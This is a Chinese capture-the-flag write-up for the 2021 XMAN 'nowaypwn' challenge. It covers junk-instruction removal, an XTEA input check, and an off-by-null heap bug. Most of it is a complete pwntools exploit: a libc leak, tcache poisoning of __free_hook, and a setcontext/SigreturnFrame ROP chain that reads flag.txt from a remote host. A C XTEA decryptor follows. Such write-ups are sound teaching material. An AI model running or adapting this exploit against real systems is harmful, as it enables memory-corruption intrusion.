2021XMAN选拔赛

估计很多师傅都倒在了libc版本上,hhh

nowaypwn

程序中包含了一些花指令,导致刚开始分析起来的时候,反编译出来的伪代码是不正常的

将花指令进行nop处理之后,得到了程序的主要逻辑:

大概就是,先输入一段密文,这段密文要通过xtea解出来

过了之后,就是一个菜单题了

发现跟强网杯的babypwn基本是一样的,因此exp也是相似的

由于不知道远端的libc版本,所以需要猜

初步猜测和强网杯的一样是2.27,经过对远端的main_arena地址进行泄露,再验证,确定是2.27libc

具体的小版本尚未确定,但没关系,大致确定了是libc-2.27之后,就可以开始写脚本了

漏洞点也跟强网杯的babypwn一样,主要在edit中的这个函数:

所以可以当成类似off-by-null来做

除此之外,还有两点需要注意:

1.show功能和强网一样是加密输出,需要解密

2.flagflag.txt,而非常见的/flag

强网杯的时候,babypwn我是直接劫持IO_file来泄露地址的,所以xman这题我直接用了其他师傅的解密函数:

https://eqqie.cn/index.php/laji_note/1662/

最后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from pwn import *
from z3 import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./pwn')
else:
sh=remote("123.60.222.67",8888)

libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def unshiftleft(n , shift , mask = 0xffffffff):
res = n
temp = len(bin(n)[2:]) // shift + 1
for _ in range(temp):
res = n ^ ((res << shift) & mask)
return res

def unshiftright(n , shift , mask = 0xffffffff):
res = n
temp = len(bin(n)[2:]) // shift + 1
for _ in range(temp):
res = n ^ ((res >> shift) & mask)
return res

def dec(c):
for i in range(2):
c = unshiftleft(c , 13)
c = unshiftright(c ,17)
c = unshiftleft(c ,5)
return c
def decrypt(target):
a = BitVec('a', 32)
x = a
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
s = Solver()
s.add(x == target)
if s.check() == sat:
return (s.model()[a].as_long())
def add(size):
sl("4")
sleep(0.2)
sl(str(size))
def delete(idx):
sl("3")
sleep(0.2)
sl(str(idx))
def show(idx):
sl("2")
sleep(0.2)
sl(str(idx))
def edit(idx,content):
sl("1")
sleep(0.2)
sl(str(idx))
sleep(0.2)
sd(content)
sa("Give me your name:","R1nd0")
sa("Give me your key:","aa")
payload=p32(0x6c657375)+p32(0x21737365)
payload+="a"*0x18
sa("Input your secret!:",payload)
# pause()

for i in range(8):
add(0x1f0)
for i in range(7):
delete(i+1)

delete(0)
add(0x1d0)

sh.recvline()
show(0)

libc_leak_low = int(sh.recvuntil(b"\n", drop=True).decode(), 16)
libc_leak_low = dec(libc_leak_low) & 0xffffffff
libc_leak_high = int(sh.recvuntil(b"\n", drop=True).decode(), 16)
libc_leak_high = dec(libc_leak_high) & 0xffffffff
libc_leak = ((libc_leak_high<<32) + libc_leak_low) & 0xffffffffffff
libc_base=libc_leak-592
libc_base=libc_base-0x3ebc40
leak("libc_base",libc_base)
leak("libc_leak",libc_leak)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
setcontext=libc_base+libc.sym['setcontext']+53
open_=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
# poprdi=libc_base+0x00000000000215bf
# poprsi=libc_base+0x0000000000023eea
# poprdx=libc_base+0x0000000000001b96
# poprdx_rsi=libc_base+0x0000000000130569


poprdi=libc_base+0x000000000002155f
poprsi=libc_base+0x0000000000023e6a
poprdx=libc_base+0x0000000000001b96
poprdx_rsi=libc_base+0x00000000001306d9

add(0xf8)#1
add(0x98)#2
add(0x88)#3
add(0x108)#4
for i in range(7):
add(0xf8)#5--11
for i in range(7):
delete(i+5)
edit(3,'a'*0x88)
edit(3,"\x00"*0x80+p64(0xa0+0x90+0x100))
edit(4,'\x00'*0xf0+p64(0)+p64(0x111))
delete(1)
delete(4)

delete(2)
add(0x70)#1
add(0x70)#2
add(0x88)#4
add(0x88)#5
payload='a'*0x60+p64(0)+p64(0xa1)+p64(free_hook)
edit(5,payload)

add(0x98)#6

add(0x98)#7

payload=p64(setcontext)+p64(poprdi)+p64(3)
payload+=p64(poprdx_rsi)+p64(0x50)+p64(free_hook+0x90)
payload+=p64(read)
payload+=p64(poprdi)+p64(1)
payload+=p64(poprdx_rsi)+p64(0x50)+p64(free_hook+0x90)
payload+=p64(write)
payload+="flag.txt\x00"
edit(7,payload)

add(0xf8)#8

frame = SigreturnFrame()
frame.rsp = free_hook+0x8 # ret
frame.rip = open_
frame.rdi = free_hook+0x68
frame.rsi = 0
frame.rdx = 0
edit(8, str(frame))
# gdb.attach(sh)
# pause()
delete(8)
ti()

xtea解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
unsigned int key[4]={0x28371234,0x19283543,0x19384721,0x98372612};
unsigned int firstChunk=0x105d191e;
unsigned int secondChunk=0x98e870c8;
// unsigned int firstChunk=0x9a3df895;
// unsigned int secondChunk=0xb2a32f77;
int main()
{
unsigned int sum = 0;
unsigned int v0 = firstChunk;
unsigned int v1 = secondChunk;
unsigned int delta = 0x14872109;
for (int j=0;j<=16;j++)
{
sum += delta;
}

for (int i = 0; i <= 16; i++)
{
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);

}
printf("0x%x\n",v0);
printf("0x%x\n",v1);
}
0%